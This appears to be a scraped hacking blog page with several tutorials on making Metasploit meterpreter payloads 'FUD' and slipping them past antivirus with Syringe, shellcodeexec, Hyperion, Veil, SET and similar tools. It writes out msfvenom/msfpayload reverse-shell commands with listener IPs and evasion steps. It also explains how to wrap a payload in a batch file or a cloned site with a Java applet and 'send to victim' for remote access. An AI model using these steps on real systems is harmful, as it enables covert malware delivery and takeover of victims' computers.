src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhh3q6hfm2xESTVEY_4E8tNNsz-rB7wRM98o50lLSbESUOXrTteieI4Wif_sig4BPnsfBql8-FAAdFyeWTnUjLmR1VCmWRfQFIsPwL8MaarSBFG_KoViY9oaxhKIFVkIwcuqj5dn7Ceuw/s320/msfevasion.png" title="Antivirus Evasion" width="320" /></a></div><br /><a name="more"></a><br />If you are using other interface than eth , then you have to change in script avoid.sh . For exmaple ; i am using ppp0 interface ,so open avoid.sh file & replace line 150 which is IP=$(ifconfig "$IPINT" |grep "inet adr:" |cut -d ":" -f 2 |awk '{ print $1 }') with IP=$(ifconfig ppp0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}').<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIKCS6629bsm3Mx7pBcT6TG0fypzyZDI3Y0iDNDPbq8Biro7lVNChsIos3VwTIRRa853_Dr_V1UxPb2uYaLQVqgYPYeqr1un1p6dCW117AYsblaCegnS4n8keE3wQIqovchdbT06-o4QPH/s1600/AV-msfevasion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-Reports-For-payload" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIKCS6629bsm3Mx7pBcT6TG0fypzyZDI3Y0iDNDPbq8Biro7lVNChsIos3VwTIRRa853_Dr_V1UxPb2uYaLQVqgYPYeqr1un1p6dCW117AYsblaCegnS4n8keE3wQIqovchdbT06-o4QPH/s1600/AV-msfevasion.PNG" title="AV-Reports-For-payload" /></a></div><br /><br /><a href="http://www.commonexploits.com/?p=789" target="_blank">Click here for original author`s blog. </a><br /><br /><h3 style="text-align: left;">(3)Syringe:-</h3><br />wget https://syringe-antivirus-bypass.googlecode.com/files/syringe%200.1.tar<br />tar xf syringe\ 0.1.tar <br />./syringe.sh<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiULASD2xbEilzgEEECR-HYnfx9RbwNyZtA1IIH6H-jvqFiz2Qehy2FsbKIUfv62ncoS_Vib5eChTA-s4qxcccZC3k_lNNV9_9HfuOaZAP8-j0o-88Nq2GdAkyUL-PZlFWfK2bdWjgM9gV5/s1600/syringe.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Antivirus-Evasion-Using-Syringe" border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiULASD2xbEilzgEEECR-HYnfx9RbwNyZtA1IIH6H-jvqFiz2Qehy2FsbKIUfv62ncoS_Vib5eChTA-s4qxcccZC3k_lNNV9_9HfuOaZAP8-j0o-88Nq2GdAkyUL-PZlFWfK2bdWjgM9gV5/s320/syringe.PNG" title="Antivirus-Evasion-Using-Syringe" width="320" /></a></div><br />As mention previously , change interface type in script if you are not using eth. Replace line 10 which is export interface=eth0 to export interface=ppp0.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5r4JSG9cod5VAtW9sbhuH8yY1rFlFlcB7Ogmb_WOEDctoWwivu7ne3KN8Avr3yW19R5zvZ1YOnB6qdZ6tmnnLt8JG2aWFxDGR48mfJOsSrtC8M9sBIPW8SsYKWgHxw3zrK2tCn1uTeu3K/s1600/AV-syringe.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-Reports-For-syringe-payload" border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5r4JSG9cod5VAtW9sbhuH8yY1rFlFlcB7Ogmb_WOEDctoWwivu7ne3KN8Avr3yW19R5zvZ1YOnB6qdZ6tmnnLt8JG2aWFxDGR48mfJOsSrtC8M9sBIPW8SsYKWgHxw3zrK2tCn1uTeu3K/s320/AV-syringe.PNG" title="AV-Reports-For-syringe-payload" width="320" /></a> </div><div class="separator" style="clear: both; text-align: center;"><br /></div><h3 class="separator" style="clear: both; text-align: left;">(4)Shellcodeexec:-</h3><br />git clone https://github.com/inquisb/shellcodeexec<br /><br />we are gonna use downloaded shellcodexec in third step on victim machine.<br /><br />(1)msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX<br /><br />(2)msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 E<br /><br />(3)C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI7OA5xMloGFCYx4ssHlQWSIyI8mFNGueOksRJrMGTxIbiqev6Y7HqWjzcLM4bRIzFOMIjitudvhhQq7Q97pL1M7ntQWPxvBbFSrgGG1S73sftYOx0sQWNpu7njUjk0rdco6H1zLaTmLYg/s1600/AV-shellcodec.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="shellcodeexex-AV-report" border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI7OA5xMloGFCYx4ssHlQWSIyI8mFNGueOksRJrMGTxIbiqev6Y7HqWjzcLM4bRIzFOMIjitudvhhQq7Q97pL1M7ntQWPxvBbFSrgGG1S73sftYOx0sQWNpu7njUjk0rdco6H1zLaTmLYg/s320/AV-shellcodec.PNG" title="shellcodeexex-AV-report" width="320" /></a></div><br /><a href="http://bernardodamele.blogspot.co.uk/2011/04/execute-metasploit-payloads-bypassing.html" target="_blank">Click here for detail tutorial on  how to use shellcodeexec?</a><br /><br /><h3 style="text-align: left;">(5)Hypersion:-</h3><br />Hyperion is a runtime encrypter for 32-bit portable executables.<br /><br />wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip<br />unzip Hyperion-1.0.zip <br />cd Hyperion-1.0<br />wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe<br /><br />Now generate metasploit payload.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpgqgky4HquaDjN2L0p4Nyn-UgLATgxc94OlvBhLeiiJ2z-cb1EV2ufz2H-m9INmRe5_u68dvVdAPjRQiXtLnoC0PRygtVtgckS1-KNJgF789qnRlDH96Z90E7SnPj35Cx63kGmBLOLVjC/s1600/hypersion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="hyperion-payload" border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpgqgky4HquaDjN2L0p4Nyn-UgLATgxc94OlvBhLeiiJ2z-cb1EV2ufz2H-m9INmRe5_u68dvVdAPjRQiXtLnoC0PRygtVtgckS1-KNJgF789qnRlDH96Z90E7SnPj35Cx63kGmBLOLVjC/s320/hypersion.PNG" title="hyperion-payload" width="320" /></a></div><br />msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe<br />wine crypter.exe payload.exe encrypted_payload.exe<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZE9KnWYzpVnRtbx05D4KicJkNhOGnk0FEIp9fXc0gov-dQgMhRVaPFC64mYUcRmbaJik-x0PoK7jltRF3RWav_X4UZMl1prMFbvnAWGpFrgPQ8T4tduJ8n9-CTda0YObNdCHm8CBOEvg/s1600/AV-hypersion.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-report-for-hyperion-payload" border="0" height="109" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZE9KnWYzpVnRtbx05D4KicJkNhOGnk0FEIp9fXc0gov-dQgMhRVaPFC64mYUcRmbaJik-x0PoK7jltRF3RWav_X4UZMl1prMFbvnAWGpFrgPQ8T4tduJ8n9-CTda0YObNdCHm8CBOEvg/s320/AV-hypersion.PNG" title="AV-report-for-hyperion-payload" width="320" /></a> </div><div class="separator" style="clear: both; text-align: left;"><br /></div><h3 class="separator" style="clear: both; text-align: left;">(6)Crypter.py:-</h3><br />Download it from below link .<br />http://home.base.be/%72%68%69%6e%63%6b%78%74/script.zip<br />unzip  script.zip<br />python crypter.py <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCauZMoGm4G5by0kx6INRzyPTcbpPhYrXg26rVVvOI6hrkW_gIawav1WRjqMOXCNv9nVTX9zH3wrnjR8KlboY9fsxEFO8vXe4Ljysib_ZpSTSFagoH_ThM1TlHxbjo6TbD-zyl9pq-MCL_/s1600/crypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crypter.py" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCauZMoGm4G5by0kx6INRzyPTcbpPhYrXg26rVVvOI6hrkW_gIawav1WRjqMOXCNv9nVTX9zH3wrnjR8KlboY9fsxEFO8vXe4Ljysib_ZpSTSFagoH_ThM1TlHxbjo6TbD-zyl9pq-MCL_/s320/crypter.PNG" title="crypter.py" width="228" /></a></div><br />If you get error while running then change path of structure.c in line 45 & save it , run again.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyRcZYmFXVEXoBVY7BzGVbXZntpIVF1ehN2JwfBHNNYJjA39Zngc8Fh0CKe-YX9j9uPSbF1XdGxSqfhWkuhbN9Xo5yWNZhEcELQMGJfzRSDFqtJYwn5ujycdXwUgdsmrgJbDoyuk81mUB/s1600/AV-Crypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-report-for-crypter.py-payload" border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyRcZYmFXVEXoBVY7BzGVbXZntpIVF1ehN2JwfBHNNYJjA39Zngc8Fh0CKe-YX9j9uPSbF1XdGxSqfhWkuhbN9Xo5yWNZhEcELQMGJfzRSDFqtJYwn5ujycdXwUgdsmrgJbDoyuk81mUB/s320/AV-Crypter.PNG" title="AV-report-for-crypter.py-payload" width="320" /></a></div><br /><h3 style="text-align: left;">(7)Brute-force AV Evasion :-</h3><br />Genpayloads.py is script to generate lots of payloads , then scan folder for specific after that you have some binary left in folder which does not detected by specific AV.<br /><br /><a href="http://bernardodamele.blogspot.co.uk/2011/04/execute-metasploit-payloads-bypassing.html" target="_blank">Click here for Original tutorial</a><br /><br />wget https://raw.github.com/obscuresec/random/master/GenPayloads.py<br />python GenPayloads.py windows/meterpreter/reverse_tcp 192.168.1.2 443 1000 yes<br /><br /><h3 style="text-align: left;">(8)Finding Simple AV Signatures with PowerShell :-</h3><br />Awesome tutorial <a href="http://www.obscuresecurity.blogspot.in/2012/12/finding-simple-av-signatures-with.html" target="_blank">here</a> to find AV signatures & then change specific bit which trigger AV . It only works with signature-based antivirus .<br /><br /><h3 style="text-align: left;">(9)Powershell:-</h3><br /><a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-powershell-method-using.html" target="_blank">Bypass AV using SET powershell module using Batch file</a><br /><br /><a href="http://pentesterscript.wordpress.com/2013/10/15/get-shell-using-powersploit/" target="_blank">Get shell using powersploit</a><br /><br /><a href="http://tipstrickshack.blogspot.com/2014/01/deliver-powershell-payload-using-macro.html">Deliver powershell payload using macro </a><br /><br /><h3 style="text-align: left;">(10)Get Shell Using VB script:- </h3><br />Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well.<br /><br />For details tutorial click <a href="http://tipstrickshack.blogspot.com/2013/10/get-shell-using-shellcode-in-macro.html" target="_blank">here</a><br /><br /><h3 style="text-align: left;">(11)Ghost Writing ASM :-</h3><br />Using Metasm To Avoid Antivirus Detection. First generate metasploit payload in raw format then disassmble using metasm which come with metasploit.Add anything you want so long as you don’t break the functionality of the application.After that compile into EXE.<br /><br />For tutorial click <a href="http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm" target="_blank">here</a> .<br /><br /><h3 style="text-align: left;">(12)Different Pivoting technique to bypass AV :-</h3><br />Following are framework & module which are mostly used after getting credentials. It does not flag by AV like traditional psexec.<br /><br />(1)<a href="http://tipstrickshack.blogspot.com/2014/02/how-to-install-and-use-veil-catapult-in.html">Veil-Catapult</a><br /><br />(2)<a href="http://www.pentestgeek.com/2013/10/23/smbexec-2-0-released/">SMBExec</a><br /><br />(3)<a href="http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html">Keimpx</a><br /><br />(4)<a href="https://code.google.com/p/passing-the-hash/">PTH suite</a><br /><br />(5)Metasploit module:- powershell_psexec , psexec_psh , psexec_command <br /><br />If you know other methods for AV evasion then please comment here. </div>

List of Differnet AV evasion Frameworks.

Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you kn...

+ Read more »

Bypass AV using powershell method using batch file.

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"></div>In penetration testing first step is how we can bypass AV & make our payload FUD. Previously we saw that we can bypass AV using <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">Veil</a>.At that time we used python module.In veil there are four types of payload.C,C#,powershell and python. Today we use powershell module.<br /><br />If you don`t aware about powershell ; then you can google it.It`s windows based scripting language like bash in linux.Most of AV cannot detect it.We use SET powershell module to bypass AV; you can also use <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">veil module</a>.<br /><br />cd  /pentest/exploits/set/<br />./setoolkit<br /><br />type 1 which is social engineering attack<br />After that type 10.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQGQomPgQFy-aBKpzJ6lKku7AydiWfSV6n9y89Wnkx5TDRNSWXUq3E2JrB_kW1ALmhtU1CQNKUoot-Nb6Rga0KupSTk406XAg4NEuLczpxv2iIucDny1anN-5af6NRfR2XFQcVl01kj_eK/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="powershell-module" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQGQomPgQFy-aBKpzJ6lKku7AydiWfSV6n9y89Wnkx5TDRNSWXUq3E2JrB_kW1ALmhtU1CQNKUoot-Nb6Rga0KupSTk406XAg4NEuLczpxv2iIucDny1anN-5af6NRfR2XFQcVl01kj_eK/s320/Screenshot-1.png" title="powershell-module" width="320" /></a></div><br />Then give your i.p. & port to connect reverse shell.<br /><br />Now in figure you can see that it has been generated & stored in to /root/.set/reports/powershell . And we also start metasploit listener.If victim paste our generated payload in cmd then we can get meterpreter shell. But i think it`s hard to tell someone to copy something & paste into cmd. So we will create batch file of our payload.<br /><br /><h3 style="text-align: left;">Create Batch file of our Payload.</h3><br />(1)open x86_powershell_injection.txt file from  /root/.set/reports/powershell.<br />(2)Add path of powershell in first line. For example your code is starting from powershell word just put C:\\windows/system32/windowspowershell/v1.0/ before it.<br />(3)If you want to hide text during execution put @echo off at start of script. <br />(4)copy all code from x86_powershell_injection.txt <br />(5)Create new file & paste code<br />(6)Save this file as .bat extension and send to victim<br /><br />As soon as he open file we can get shell. </div>

Bypass AV using powershell method using batch file.

In penetration testing first step is how we can bypass AV & make our payload FUD. Previously we saw that we can bypass AV using Veil .At...

+ Read more »

Bypass AV using Veil In Backtrack.

<div dir="ltr" style="text-align: left;" trbidi="on">Today this blog complete exactly one year.Before one year i started journey in security world & still now it`s going well.Ok get to the point.Most of time it happened that our payload is detected by AV ;we can use encoder to encode our payload ;So it can not be detected by AV. Today we show how we can bypass AV using Veil. Veil is python based tool which create FUD payload.<br /><br />How to Download & use ?<br /><br />wget https://github.com/ChrisTruncer/Veil/archive/master.zip<br />unzip master.zip<br />cd Veil-master/setup<br />chmod +x setup.sh<br />./setup.sh<br /><br />It will download all required python package for generating payload.<br /><br />Veil is officially supported in Kali linux ; But it`s python based tool so we can use it in any os which is able to execute python script. I used it in Backtrack 5.We have to make some change in generated veil.py file to get working in backtrack.<br />Open directory of veil & go to config and open veil.py.(In latest version of veil , open /etc/veil/settings.py) If you installed metasploit from binary package then Change  line of metasploit path to /opt/metasploit/apps/pro/msf3/ and save it.<br /><br />Go to veil direcory & run<br />./Veil.py<br /><br /><div class="separator" style="clear: both; text-align: center;">  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs7hGvUKM4uOAKoz_KNm3YJTDUng-ObFInaXG0n3NKC0aPDz3BiRp9NP6uKFEfUfxyEKdB9m7c1G33PlPPsOwTh8NxgbFEYFwWKKdFIBcB2f1cUKTAYnJsz49M6TbWnQvnZJkJttMmvoQ7/s1600/veil.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs7hGvUKM4uOAKoz_KNm3YJTDUng-ObFInaXG0n3NKC0aPDz3BiRp9NP6uKFEfUfxyEKdB9m7c1G33PlPPsOwTh8NxgbFEYFwWKKdFIBcB2f1cUKTAYnJsz49M6TbWnQvnZJkJttMmvoQ7/s400/veil.png" title="AV-bypass-using-veil-1" width="400" /> </a></div><div class="separator" style="clear: both; text-align: center;"></div><a name="more"></a><br /><div class="separator" style="clear: both; text-align: left;">Now type list & you can see available payload. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZwABDiScV-vRkMg15oqujsyTki6mLpIqixx2-PyLKOuxkoLjNHJSirupob7Vv1fxFGx_nUytXE6ooTJF7qo8Ab4LOd8_X7pg8yUTuOfOn4sYbNlrNYp2sH2kIl9RGQHpoUhOsHMzRFAux/s1600/veil-1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZwABDiScV-vRkMg15oqujsyTki6mLpIqixx2-PyLKOuxkoLjNHJSirupob7Vv1fxFGx_nUytXE6ooTJF7qo8Ab4LOd8_X7pg8yUTuOfOn4sYbNlrNYp2sH2kIl9RGQHpoUhOsHMzRFAux/s400/veil-1.jpeg" title="AV-bypass-using-veil-2" width="398" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Select payload. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUhF4pfbS_i9qRMcD7oM9miTF5RKNBBcW2BPf15oXIXzg03IpZdSgquOMyT3dNJiBWuDE8_rS7ES3mng-dXqQRIFygEa9nGRWm48WKAVwZVmgZotTnkyZfjk4qcsHZUqSB_3eeGgrATSRA/s1600/veil-2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUhF4pfbS_i9qRMcD7oM9miTF5RKNBBcW2BPf15oXIXzg03IpZdSgquOMyT3dNJiBWuDE8_rS7ES3mng-dXqQRIFygEa9nGRWm48WKAVwZVmgZotTnkyZfjk4qcsHZUqSB_3eeGgrATSRA/s400/veil-2.jpeg" title="AV-bypass-using-veil-3" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;">type generate.</div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuEYF08jErZx4UYKex_4Jis-HgJXE79HQxy6ECvoSyg5pE1LsV4zrGxTSpNWEHP64XXfjl__FKlOOoHnTZ829YKxR6L8b8qMzTjr24Xt8R_8Hy7nYt10fXUcf7_J8m98eFYoG0yJ5_bJ6V/s1600/veil-3.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuEYF08jErZx4UYKex_4Jis-HgJXE79HQxy6ECvoSyg5pE1LsV4zrGxTSpNWEHP64XXfjl__FKlOOoHnTZ829YKxR6L8b8qMzTjr24Xt8R_8Hy7nYt10fXUcf7_J8m98eFYoG0yJ5_bJ6V/s400/veil-3.jpeg" title="AV-bypass-using-veil-4" width="400" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX8EefDGhXH6nV9md2ljXWOrKi9ATubSNIHxcX9g7zOo93N4l2GW7Wsbu0byIM7ISLrQMu_ABaawx-nFPDhmCCaScNew4-e-D3MtQT5lAWZq_H7sQZr3Y98N_G8zgfvg6HFOB04-XR2s2d/s1600/veil-4.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX8EefDGhXH6nV9md2ljXWOrKi9ATubSNIHxcX9g7zOo93N4l2GW7Wsbu0byIM7ISLrQMu_ABaawx-nFPDhmCCaScNew4-e-D3MtQT5lAWZq_H7sQZr3Y98N_G8zgfvg6HFOB04-XR2s2d/s400/veil-4.jpeg" title="AV-bypass-using-veil-5" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNQuxg0LA6WVaO70vWbj2V3UXyxPbgKHBDwXAhM9eh6rx1_v-c_Rhy8RLOznY_yE-Yc12yKw9V0buNTY7gvYwVJizDLIRqmhdIm_opB2pA1iTdEa5FccYdzT3JuesSaNkt4538nNf4g8ua/s1600/veil-5.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNQuxg0LA6WVaO70vWbj2V3UXyxPbgKHBDwXAhM9eh6rx1_v-c_Rhy8RLOznY_yE-Yc12yKw9V0buNTY7gvYwVJizDLIRqmhdIm_opB2pA1iTdEa5FccYdzT3JuesSaNkt4538nNf4g8ua/s400/veil-5.jpeg" title="AV-bypass-using-veil-6" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;">After that payload has been generated & you have to start metasploit listner for that payload type following in terminal.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=444 E </div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj74TJm4nT-W53jJJQEdyprIAntfrOLtJTXJkIrmArqqNROaYciO5BpPXanO7_InqsQlgVzB7qqOgaLiEP7kAtzkbnfVPzxpSxILt7v3D_s482MrQ229WgHuRFnpARY1ENjx4MkqAePdI8I/s1600/veil-7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="337" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj74TJm4nT-W53jJJQEdyprIAntfrOLtJTXJkIrmArqqNROaYciO5BpPXanO7_InqsQlgVzB7qqOgaLiEP7kAtzkbnfVPzxpSxILt7v3D_s482MrQ229WgHuRFnpARY1ENjx4MkqAePdI8I/s400/veil-7.jpg" title="AV-bypass-using-veil-7" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Now send file to victim. As soon as he open file you get admin access without triggering AV alert.Look at my AV update status.</div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHX8l_-fZyYmr-s0pTSDo5-MwViXtYUT50HJuiRg5ummNaS7DTMUOPSkbCyvBZlTYvf-ClUPX-4KlkQ6OB1mZ-pdmVgLDM_DpCcbA3XrMIbjU-w07_j2Lx-ekeax7zmSe2mNM3oZufpEFh/s1600/veil-6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHX8l_-fZyYmr-s0pTSDo5-MwViXtYUT50HJuiRg5ummNaS7DTMUOPSkbCyvBZlTYvf-ClUPX-4KlkQ6OB1mZ-pdmVgLDM_DpCcbA3XrMIbjU-w07_j2Lx-ekeax7zmSe2mNM3oZufpEFh/s400/veil-6.jpg" title="AV-bypass-using-veil-8" width="400" /></a></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZQNMul-zDn8axCUsHM4Nxd3tAmuxkJDnI5xsMUAEV10968U6sC0dalp5bmQyapdHjGc9SRcxRxFxB_XJMCHM7gRAovWKUtj9ixKUAYdWCNjI1dbfAPqVLKN2oRhWMH8D-QQB0oshTTdv7/s1600/14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AV-bypass-using-veil" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZQNMul-zDn8axCUsHM4Nxd3tAmuxkJDnI5xsMUAEV10968U6sC0dalp5bmQyapdHjGc9SRcxRxFxB_XJMCHM7gRAovWKUtj9ixKUAYdWCNjI1dbfAPqVLKN2oRhWMH8D-QQB0oshTTdv7/s400/14.jpg" title="AV-bypass-using-veil-9" width="392" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div> As you can see in bottom of panel that AV is activate & it`s updated  ; still we can bypass AV & get meterpreter seesion.<br /><br /> [!] And don't submit samples to any online scanner! ;)<br />It`s author request. </div>

Bypass AV using Veil In Backtrack.

Today this blog complete exactly one year.Before one year i started journey in security world & still now it`s going well.Ok get to the ...

+ Read more »

Bypass Antivirus using S.E.T

<div dir="ltr" style="text-align: left;" trbidi="on">Bypass Antivirus using multyply injector shell code using SET & Metasploit.<br /><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Requirement:-</h3><div style="text-align: left;"><br />Victim`s O.S.- windows.<br /><br />Attacker:- S.E.T ,Metasploit.<br /><br />(1)Open terminal & type following command<br /><br />sudo bash<br /><br />cd /opt/set<br /><br />./set<br /><br />(2)Now select option 1 social engineering attack<br /><br />(3)Select option 2 website attack vector<br /><br />(4)Now we will choose the option 1 the Java Applet Attack Method<br /><br />(5)Now we will choose option 2, “Site Cloner”<br /><br />(6)Enter the URL to clone: http://www.google.com (but you can use any website to run the Java Applet)<br /><br />(7)Now choose 16 “Multi PyInjector Shellcode Injection”,<br /><br />(8)Port of the attacker computer. In this example I use port 443<br /><br />(9)Select the payload you want to deliver via shellcodeexec press enter here<br /><br />(10)Now again select Port of the attacker computer. In this example I use port 444 and 445<br /><br />(11)Select the payload you want to deliver via shellcodeexec press enter here<br /><br />(12)send your I.p. To victim. As soon as he open link & run java applet you have access of victim `s pc<br /><br />(13)sessions -l<br /><br />(14)sessions -i I.d</div></div>

Bypass Antivirus using S.E.T

Bypass Antivirus using multyply injector shell code using SET & Metasploit. Requirement:- Victim`s O.S.- windows. Attacker:- S.E.T ,Meta...

+ Read more »